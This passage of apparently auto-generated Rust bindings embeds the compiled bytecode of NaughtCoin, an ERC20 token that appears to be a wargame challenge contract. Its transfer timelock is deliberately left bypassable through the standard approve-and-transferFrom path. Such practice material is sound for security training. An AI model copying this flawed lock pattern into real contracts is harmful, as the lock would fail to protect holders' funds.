\x01b\x03\x07\x83`\xEC\x1B\x81RP\x81`\x03\x90\x81b\0\0\x97\x91\x90b\0\x03\x0BV[P`\x04b\0\0\xA6\x82\x82b\0\x03\x0BV[PP`\x07\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x84\x16\x17\x90UPb\0\0\xCD`\x12\x90V[b\0\0\xDD\x90`\xFF\x16`\nb\0\x04\xD4V[b\0\0\xEC\x90b\x0FB@b\0\x04\xE2V[`\x06\x81\x90U`\x07Tb\0\x01\x0B\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90b\0\x01IV[`\x07T`\x06T`@Q\x90\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`\0\x90`\0\x80Q` b\0\x10\xF0\x839\x81Q\x91R\x90` \x01`@Q\x80\x91\x03\x90\xA3Pb\0\x04\xFCV[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\x01\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\xB8\x91\x90b\0\x02\x19V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R`\0\x80Q` b\0\x10\xF0\x839\x81Q\x91R\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x01\x80\x82\x11\x15b\0\x02/Wb\0\x02/b\0\x02\x03V[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15b\0\x02HW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02`W`\0\x80\xFD[\x93\x92PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\x92W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xB3WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01\xFEW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x02\xE2WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03\x03W\x82\x81U`\x01\x01b\0\x02\xEEV[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03'Wb\0\x03'b\0\x02gV[b\0\x03?\x81b\0\x038\x84Tb\0\x02}V[\x84b\0\x02\xB9V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03wW`\0\x84\x15b\0\x03^WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03\x03V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xA8W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\x87V[P\x85\x82\x10\x15b\0\x03\xC7W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[`\x01\x81\x81[\x80\x85\x11\x15b\0\x04\x18W\x81`\0\x19\x04\x82\x11\x15b\0\x03\xFCWb\0\x03\xFCb\0\x02\x03V[\x80\x85\x16\x15b\0\x04\nW\x91\x81\x02\x91[\x93\x84\x1C\x93\x90\x80\x02\x90b\0\x03\xDCV[P\x92P\x92\x90PV[`\0\x82b\0\x041WP`\x01b\0\x02/V[\x81b\0\x04@WP`\0b\0\x02/V[\x81`\x01\x81\x14b\0\x04YW`\x02\x81\x14b\0\x04dWb\0\x04\x84V[`\x01\x91PPb\0\x02/V[`\xFF\x84\x11\x15b\0\x04xWb\0\x04xb\0\x02\x03V[PP`\x01\x82\x1Bb\0\x02/V[P` \x83\x10a\x013\x83\x10\x16`N\x84\x10`\x0B\x84\x10\x16\x17\x15b\0\x04\xA9WP\x81\x81\nb\0\x02/V[b\0\x04\xB5\x83\x83b\0\x03\xD7V[\x80`\0\x19\x04\x82\x11\x15b\0\x04\xCCWb\0\x04\xCCb\0\x02\x03V[\x02\x93\x92PPPV[`\0b\0\x02`\x83\x83b\0\x04 V[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17b\0\x02/Wb\0\x02/b\0\x02\x03V[a\x0B\xE4\x80b\0\x05\x0C`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xEAW`\x005`\xE0\x1C\x80cH\xDB_\x89\x11a\0\x8CW\x80c\xA4W\xC2\xD7\x11a\0fW\x80c\xA4W\xC2\xD7\x14a\x02\x03W\x80c\xA9\x05\x9C\xBB\x14a\x02\x16W\x80c\xD0\x85\x83Z\x14a\x02)W\x80c\xDDb\xED>\x14a\x022W`\0\x80\xFD[\x80cH\xDB_\x89\x14a\x01\x80W\x80cp\xA0\x821\x14a\x01\xC5W\x80c\x95\xD8\x9BA\x14a\x01\xFBW`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xC8W\x80c#\xB8r\xDD\x14a\x01BW\x80c/\xF2\xE9\xDC\x14a\x01UW\x80c1<\xE5g\x14a\x01^W\x80c9P\x93Q\x14a\x01mW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xEFW\x80c\t^\xA7\xB3\x14a\x01\rW\x80c\x18\x16\r\xDD\x14a\x010W[`\0\x80\xFD[a\0\xF7a\x02xV[`@Qa\x01\x04\x91\x90a\t\xD1V[`@Q\x80\x91\x03\x90\xF3[a\x01 a\x01\x1B6`\x04a\nfV[a\x03\nV[`@Q\x90\x15\x15\x81R` \x01a\x01\x04V[`\x02T[`@Q\x90\x81R` \x01a\x01\x04V[a\x01 a\x01P6`\x04a\n\x90V[a\x03$V[a\x014`\x06T\x81V[`@Q`\x12\x81R` \x01a\x01\x04V[a\x01 a\x01{6`\x04a\nfV[a\x03HV[`\x07Ta\x01\xA0\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\x01\x04V[a\x014a\x01\xD36`\x04a\n\xCCV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xF7a\x03\x94V[a\x01 a\x02\x116`\x04a\nfV[a\x03\xA3V[a\x01 a\x02$6`\x04a\nfV[a\x04yV[a\x014`\x05T\x81V[a\x014a\x02@6`\x04a\n\xEEV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[```\x03\x80Ta\x02\x87\x90a\x0B!V[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xB3\x90a\x0B!V[\x80\x15a\x03\0W\x80`\x1F\x10a\x02\xD5Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03\0V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\xE3W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03\x18\x81\x85\x85a\x04\xCAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x032\x85\x82\x85a\x06}V[a\x03=\x85\x85\x85a\x07TV[P`\x01\x94\x93PPPPV[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90a\x03\x18\x90\x82\x90\x86\x90a\x03\x8F\x90\x87\x90a\x0BtV[a\x04\xCAV[```\x04\x80Ta\x02\x87\x90a\x0B!V[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90\x83\x81\x10\x15a\x04lW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01R\x7F zero\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x03=\x82\x86\x86\x84\x03a\x04\xCAV[`\x07T`\0\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x03a\x04\xB9W`\x05TB\x11a\x04\xA9W`\0\x80\xFD[a\x04\xB3\x83\x83a\t\xC3V[Pa\x03\x1EV[a\x04\xC3\x83\x83a\t\xC3V[P\x92\x91PPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x05lW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01R\x7Fress\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16a\x06\x0FW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01R\x7Fss\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x86\x16\x83R\x92\x90R T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x14a\x07NW\x81\x81\x10\x15a\x07AW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x04cV[a\x07N\x84\x84\x84\x84\x03a\x04\xCAV[PPPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x07\xF7W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01R\x7Fdress\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16a\x08\x9AW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01R\x7Fess\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\tPW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01R\x7Falance\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x07NV[`\x003a\x03\x18\x81\x85\x85a\x07TV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\t\xFEW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\t\xE2V[P`\0`@\x82\x86\x01\x01R`@\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\naW`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\nyW`\0\x80\xFD[a\n\x82\x83a\n=V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\n\xA5W`\0\x80\xFD[a\n\xAE\x84a\n=V[\x92Pa\n\xBC` \x85\x01a\n=V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\n\xDEW`\0\x80\xFD[a\n\xE7\x82a\n=V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x0B\x01W`\0\x80\xFD[a\x0B\n\x83a\n=V[\x91Pa\x0B\x18` \x84\x01a\n=V[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x0B5W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x0BnW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x03\x1EW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \xE8\xC36h^\xB4\x9B\xA4\xFF\xCDS_9\xE5QTz\x1A\"\xF1\xCDUB\x12b\xDD\xA0)B\x01\x19\xEAdsolcC\0\x08\x15\x003\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF"; - /// The bytecode of the contract. - pub static NAUGHTCOIN_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xEAW`\x005`\xE0\x1C\x80cH\xDB_\x89\x11a\0\x8CW\x80c\xA4W\xC2\xD7\x11a\0fW\x80c\xA4W\xC2\xD7\x14a\x02\x03W\x80c\xA9\x05\x9C\xBB\x14a\x02\x16W\x80c\xD0\x85\x83Z\x14a\x02)W\x80c\xDDb\xED>\x14a\x022W`\0\x80\xFD[\x80cH\xDB_\x89\x14a\x01\x80W\x80cp\xA0\x821\x14a\x01\xC5W\x80c\x95\xD8\x9BA\x14a\x01\xFBW`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xC8W\x80c#\xB8r\xDD\x14a\x01BW\x80c/\xF2\xE9\xDC\x14a\x01UW\x80c1<\xE5g\x14a\x01^W\x80c9P\x93Q\x14a\x01mW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xEFW\x80c\t^\xA7\xB3\x14a\x01\rW\x80c\x18\x16\r\xDD\x14a\x010W[`\0\x80\xFD[a\0\xF7a\x02xV[`@Qa\x01\x04\x91\x90a\t\xD1V[`@Q\x80\x91\x03\x90\xF3[a\x01 a\x01\x1B6`\x04a\nfV[a\x03\nV[`@Q\x90\x15\x15\x81R` \x01a\x01\x04V[`\x02T[`@Q\x90\x81R` \x01a\x01\x04V[a\x01 a\x01P6`\x04a\n\x90V[a\x03$V[a\x014`\x06T\x81V[`@Q`\x12\x81R` \x01a\x01\x04V[a\x01 a\x01{6`\x04a\nfV[a\x03HV[`\x07Ta\x01\xA0\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\x01\x04V[a\x014a\x01\xD36`\x04a\n\xCCV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xF7a\x03\x94V[a\x01 a\x02\x116`\x04a\nfV[a\x03\xA3V[a\x01 a\x02$6`\x04a\nfV[a\x04yV[a\x014`\x05T\x81V[a\x014a\x02@6`\x04a\n\xEEV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[```\x03\x80Ta\x02\x87\x90a\x0B!V[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xB3\x90a\x0B!V[\x80\x15a\x03\0W\x80`\x1F\x10a\x02\xD5Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03\0V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\xE3W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03\x18\x81\x85\x85a\x04\xCAV[`\x01\x91PP[\x92\x91PPV[`\x003a\x032\x85\x82\x85a\x06}V[a\x03=\x85\x85\x85a\x07TV[P`\x01\x94\x93PPPPV[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90a\x03\x18\x90\x82\x90\x86\x90a\x03\x8F\x90\x87\x90a\x0BtV[a\x04\xCAV[```\x04\x80Ta\x02\x87\x90a\x0B!V[3`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x87\x16\x84R\x90\x91R\x81 T\x90\x91\x90\x83\x81\x10\x15a\x04lW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01R\x7F zero\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x03=\x82\x86\x86\x84\x03a\x04\xCAV[`\x07T`\0\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x03a\x04\xB9W`\x05TB\x11a\x04\xA9W`\0\x80\xFD[a\x04\xB3\x83\x83a\t\xC3V[Pa\x03\x1EV[a\x04\xC3\x83\x83a\t\xC3V[P\x92\x91PPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x05lW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01R\x7Fress\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16a\x06\x0FW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01R\x7Fss\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x81\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x86\x16\x83R\x92\x90R T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x14a\x07NW\x81\x81\x10\x15a\x07AW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x04cV[a\x07N\x84\x84\x84\x84\x03a\x04\xCAV[PPPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16a\x07\xF7W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01R\x7Fdress\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16a\x08\x9AW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01R\x7Fess\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\tPW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01R\x7Falance\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x04cV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x07NV[`\x003a\x03\x18\x81\x85\x85a\x07TV[`\0` 